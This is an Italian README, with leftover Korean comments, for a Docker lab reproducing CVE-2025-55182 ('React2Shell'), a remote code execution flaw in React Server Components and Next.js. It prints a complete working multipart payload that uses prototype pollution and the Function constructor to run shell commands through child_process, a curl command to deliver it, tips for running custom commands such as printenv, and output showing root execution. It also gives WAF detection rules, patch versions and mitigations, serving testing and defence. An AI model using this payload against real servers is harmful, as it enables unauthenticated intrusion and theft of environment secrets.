Test CVE-2025-55182 (React2Shell)

⚠️ Avviso: contiene una vulnerabilità di esecuzione remota di codice (RCE) realmente funzionante.

📋 Indice

• Panoramica
• Informazioni sulla vulnerabilità
• Avvio rapido
• Dimostrazione dell'attacco reale
• Ambiente di test
• Regole di difesa WAF
• Struttura dei file
• Riferimenti
• Avviso legale

Panoramica

Ambiente di test containerizzato per la vulnerabilità CVE-2025-55182 (React2Shell).

Caratteristiche principali

• ✅ Riproduzione reale della vulnerabilità - ambiente React 19.1.0 / Next.js 15.1.0
• ✅ Attacco RCE riuscito - verifica dell'esecuzione reale dei comandi
• ✅ Test delle difese WAF - configurazione delle regole NGINX e Apache ModSecurity
• ✅ Confronto versioni patchate - test della versione vulnerabile vs versione patchata
• ✅ Ambiente Docker completo - ambiente container isolato

Risultato dell'attacco

🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

Informazioni sulla vulnerabilità

CVE-2025-55182 (React2Shell)

Punteggio CVSS: 10.0 (CRITICO)
Impatto: esecuzione remota di codice (RCE)
Autenticazione richiesta: nessuna
Vettore di attacco: rete

Versioni vulnerabili

• React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

Versioni patchate

• React: 19.1.2+
• Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Meccanismo dell'attacco

1. Prototype Pollution - inquinamento del prototipo tramite $1:__proto__:then
2. Accesso al Function constructor - accesso tramite deserializzazione Blob (prefisso $B)
3. Esecuzione di codice arbitrario - creazione di funzioni con codice controllato dall'attaccante
4. Esecuzione di comandi di sistema - RCE tramite child_process

// 공격 페이로드 구조
{
  "then": "$1:__proto__:then",           // Object.prototype.then 오염
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Blob 역직렬화 트리거
  "_response": {
    "_prefix": "악성_코드",               // 실행할 코드
    "_formData": {
      "get": "$1:constructor:constructor"  // Function constructor 접근
    }
  }
}

Avvio rapido

Prerequisiti

• Docker Desktop
• Node.js 20+ (per test locali, opzionale)
• Almeno 4 GB di RAM
• Almeno 2 GB di spazio libero su disco

Passo 1: avvio dell'ambiente

Windows (PowerShell):

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

Passo 2: verifica dello stato

.\run-tests.ps1 status

È necessario attendere che tutti i container diventino healthy (circa 1-2 minuti).

Passo 3: esecuzione dell'attacco

Windows (PowerShell):

# 방법 1: PowerShell 스크립트 사용 (권장)
.\tests\exploit-working.ps1

# 방법 2: Node.js 직접 실행
node tests\exploit-working.js

### Passo 4: verifica dei risultati

I risultati dell'esecuzione dei comandi possono essere verificati nei log del server:

```bash
docker compose logs vulnerable-app --tail=20

Dimostrazione dell'attacco

Script di attacco automatizzato

exploit-working.js ⭐ Consigliato

Windows:

# PowerShell 스크립트 (권장)
.\tests\exploit-working.ps1

# 또는 Node.js 직접 실행
node tests\exploit-working.js

Cosa fa lo script:

• ✅ Esecuzione di comandi shell arbitrari
• ✅ Cattura dell'output dei comandi dai log del server
• ✅ Test automatico di più comandi
• ✅ Report dettagliato sulla vulnerabilità

Comandi testati:

• whoami - utente corrente (root)
• hostname - nome host del container
• pwd - directory di lavoro (/app)
• id - informazioni complete sull'utente
• uname -a - informazioni di sistema
• node --version - versione di Node.js

Attacco manuale

Attacco diretto con curl

# 페이로드 파일 생성
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# 공격 전송
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# 로그 실행 확인
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

Esecuzione di comandi personalizzati

È possibile eseguire i comandi desiderati modificando lo script di attacco:

// exploit-working.js 파일에서:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: '애플리케이션 디렉토리 목록' },
  { name: 'env', cmd: 'printenv', desc: '환경 변수 출력' }
]

Ambiente di test

Container Docker

Ambiente dell'applicazione

• Framework: Next.js 15.1.0 (App Router)
• Versione React: 19.1.0 (vulnerabile)
• Node.js: 20.19.6

Scenari di test

Scenario 1: attacco alla versione vulnerabile

# 작동하는 공격 실행
node tests/exploit-working.js

# 예상 결과: 명령어 실행 성공
# 출력: 사용자 정보, 시스템 세부 정보 등

Scenario 2: test della versione patchata

Windows (PowerShell):

# PowerShell 스크립트 사용
.\tests\exploit-working.ps1 -Port 3001

Risultato atteso: l'attacco fallisce (React 19.1.2 blocca l'attacco)

Scenario 3: test di blocco WAF

Windows (PowerShell):

# NGINX WAF를 통한 공격 시도
.\tests\exploit-working.ps1 -Port 8080

Risultato atteso: bloccato dalle regole WAF

Regole di difesa WAF

Regole di difesa NGINX

Posizione: nginx/nginx.conf

Pattern di rilevamento:

1. Prototype Pollution - __proto__, constructor:constructor
2. Sfruttamento del Flight protocol - riferimenti $X:__proto__, $B
3. Gadget Chain - child_process, execSync, require()
4. Bypass tramite URL encoding - %5f%5fproto%5f%5f
5. Header sospetti - Next-Action: #constructor

Comportamento di blocco:

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Regole Apache ModSecurity

Posizione: apache/modsecurity-rules.conf

Intervallo ID regole: 100001-100017

Regole principali:

• 100001: rilevamento di __proto__
• 100002: accesso alla constructor chain
• 100003-100004: sfruttamento del Flight protocol
• 100006-100007: pattern di gadget chain
• 100008-100011: tentativi di RCE (child_process, exec, spawn, require)
• 100015: header Next-Action sospetto
• 100017: blocco basato sul punteggio di anomalia

Test WAF

# NGINX 차단 테스트
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# 예상 응답: HTTP 403

# ModSecurity 차단 테스트
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# 예상 응답: HTTP 403

Verifica dei log WAF

# NGINX 보안 로그
docker compose exec nginx tail -f /var/log/nginx/security.log

# Apache ModSecurity 감사 로그
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

⚠️ Limitazioni del WAF

Importante: la configurazione WAF attuale presenta le seguenti limitazioni:

NGINX (porta 8080)

• ❌ Il body della richiesta non viene ispezionato
• La configurazione predefinita di NGINX ispeziona solo URL, parametri di query e header
• Il payload dell'exploit è contenuto nel body multipart/form-data e pertanto non viene rilevato
• Soluzione: sono necessari lua-nginx-module o una soluzione WAF separata

Apache ModSecurity (porta 8081)

• ⚠️ Next.js rifiuta le richieste POST (405 Method Not Allowed)
• ModSecurity è attivo ed è in grado di ispezionare il body
• Tuttavia è richiesto l'header Next-Action, che da solo non fornisce una protezione sufficiente
• Stato attuale: risposta 405 prima che il WAF possa ispezionare il body

Difesa dall'attacco reale:

• ✅ Metodo più efficace: aggiornare React/Next.js alla versione patchata (porte 3001, 8082)
• ⚠️ Il WAF offre solo una protezione parziale: limitato per gli attacchi che richiedono l'ispezione del body

Struttura dei file

cve-2025-55182-test-lab-windows/
├── README.md                           # README
├── docker-compose.yml                  # Docker 환경 설정
├── run-tests.ps1                       # Windows 실행 스크립트
├── run-tests.sh                        # Linux/Mac 실행 스크립트
│
├── vulnerable-app/                     # 취약 버전 애플리케이션
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.0, Next.js 15.1.0
│   ├── next.config.js
│   ├── app/
│   │   ├── layout.js                   # 기본 레이아웃
│   │   ├── page.js                     # 메인 페이지
│   │   └── api/
│   │       └── health/                 # 헬스 체크 엔드포인트
│   │           └── route.js
│   └── tests/                          
│
├── patched-app/                        # 취약점 해결 버전 애플리케이션
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.2, Next.js 15.1.9
│   ├── next.config.js
│   └── app/
│       ├── layout.js
│       ├── page.js
│       └── api/
│           └── health/
│               └── route.js
│
├── tests/                              # 공격 스크립트
│   ├── exploit-working.js              # RCE 공격 (Node.js)
│   ├── exploit-working.ps1             # RCE 공격 (PowerShell)
│   └── exploit-working.cmd             # RCE 공격 (배치 파일)
│
├── nginx/                              # NGINX WAF 설정
│   ├── nginx.conf                      # CVE-2025-55182 차단 룰
│   └── nginx-patched.conf              # 프락시 설정
│
└── apache/                             # Apache ModSecurity 설정
    ├── Dockerfile
    ├── apache-config.conf
    └── modsecurity-rules.conf          # ModSecurity 차단 룰

Metodi di verifica dell'attacco

Metodo 1: verifica dell'output dello script

Lo script di attacco mostra direttamente i risultati:

[whoami] Sending exploit...
  ✅ SUCCESS! Output: root

Metodo 2: monitoraggio dei log del server

# 실시간 로그 모니터링
docker compose logs -f vulnerable-app

# 확인 필요 사항:
# [EXPLOIT] Executing: whoami
# [RESULT] root

Metodo 3: verifica degli indicatori di attacco

# 공격이 실행되었는지 확인
docker compose exec vulnerable-app ps aux | grep node

# 파일 시스템 변경 확인 (파일을 작성한 경우)
docker compose exec vulnerable-app ls -la /tmp

Misure correttive

Patch npm

1. Aggiornare React - installare la versione 19.1.2 o successiva:

   root@kitploit:~

   npm install react@^19.1.2 react-dom@^19.1.2
   

2. Aggiornare Next.js - installare la versione 15.1.9 o successiva:

   root@kitploit:~

   npm install next@^15.1.9
   

3. Ricompilazione e ridistribuzione:

   root@kitploit:~

   npm run build
   # 프로덕션 환경에 배포
   

Verifica dopo la patch

Windows (PowerShell):

# 패치된 버전으로 테스트
.\tests\exploit-working.ps1 -Port 3001

# 또는
$env:TARGET_PORT=3001; node tests\exploit-working.js

Linux/Mac:

# 패치된 버전으로 테스트
TARGET_PORT=3001 node tests/exploit-working.js

Esempio di risultato: ℹ️ Exploitation failed

Misure di sicurezza se la patch non è possibile

1. Distribuzione delle regole WAF - utilizzare le regole NGINX/ModSecurity di questo progetto
2. Segmentazione di rete - limitare l'accesso esterno
3. Rate Limiting - applicare limiti all'endpoint Server Action
4. Monitoraggio dei log - sorvegliare i log dei tentativi di attacco

Comandi Docker

Gestione dell'ambiente

# 시작
.\run-tests.ps1 start

# 상태 확인
.\run-tests.ps1 status

# 로그 보기
.\run-tests.ps1 logs

# 중지
.\run-tests.ps1 stop

# 초기화 (모든 컨테이너 및 볼륨 삭제)
.\run-tests.ps1 clean

Risoluzione dei problemi

Se l'attacco non funziona

Windows (PowerShell):

# 1. 버전 확인
docker compose exec vulnerable-app npm list react next

# 다음과 같이 표시되어야 함:
# [email protected]
# [email protected]

# 2. 서버가 응답하는지 확인
curl http://localhost:3000

# 3. Docker 로그 확인
docker compose logs vulnerable-app --tail=50

# 4. 컨테이너 재시작
docker compose restart vulnerable-app

Se non è possibile verificare l'output

Windows (PowerShell):

# PowerShell에서 로그 필터링
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"

Docker Desktop non in esecuzione (solo Windows)

Sintomo dell'errore:

error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...

Soluzione:

1. Avviare Docker Desktop
2. Verificare che l'icona nella tray sia verde
3. Verificare con il comando docker ps

Impossibile eseguire lo script PowerShell (solo Windows)

Sintomo dell'errore:

이 시스템에서 스크립트를 실행할 수 없으므로...

Soluzione:

# 현재 세션에만 적용
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# 또는 직접 실행
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1

Errore di autorizzazione

Verificare che Docker sia in esecuzione e di avere i permessi:

Tutte le piattaforme:

docker compose ps

Conflitto di porte

Se un'altra applicazione sta utilizzando la porta:

Windows (PowerShell):

# 포트 사용 프로세스 확인
netstat -ano | findstr :3000

# 프로세스 종료 (PID 확인 후)
taskkill /PID <PID> /F

Tutte le piattaforme (modifica di docker-compose.yml):

# 포트를 변경하여 충돌 회피
services:
  vulnerable-app:
    ports:
      - "3010:3000"  # 3000 → 3010으로 변경

Se il WAF non funziona

Tutte le piattaforme:

# NGINX 설정 테스트
docker compose exec nginx nginx -t

# Apache 설정 테스트
docker compose exec apache apachectl configtest

# 로그 확인
docker compose logs nginx --tail=30
docker compose logs apache --tail=30

Riferimenti

Advisory di sicurezza ufficiali

• Advisory di sicurezza React
• Riepilogo di Vercel su CVE-2025-55182
• Advisory di sicurezza Next.js CVE-2025-66478
• NVD - CVE-2025-55182

Analisi tecniche

• Datadog Security Labs - CVE-2025-55182
• Wiz Blog - RCE critica in React
• Analisi di Palo Alto Unit42
• Blog di Kaspersky
• Blog di OX Security

Proof of Concepts

• msanft/CVE-2025-55182
• dwisiswant0/CVE-2025-55182
• EynaExp/CVE-2025-55182-POC
• Spritualkb/CVE-2025-55182-exp
• ejpir/CVE-2025-55182-research

Licenza

Questo progetto è fornito a scopo educativo e di ricerca sulla sicurezza.

Restrizioni d'uso:

• Utilizzare esclusivamente per test di sicurezza autorizzati
• Non modificare per scopi malevoli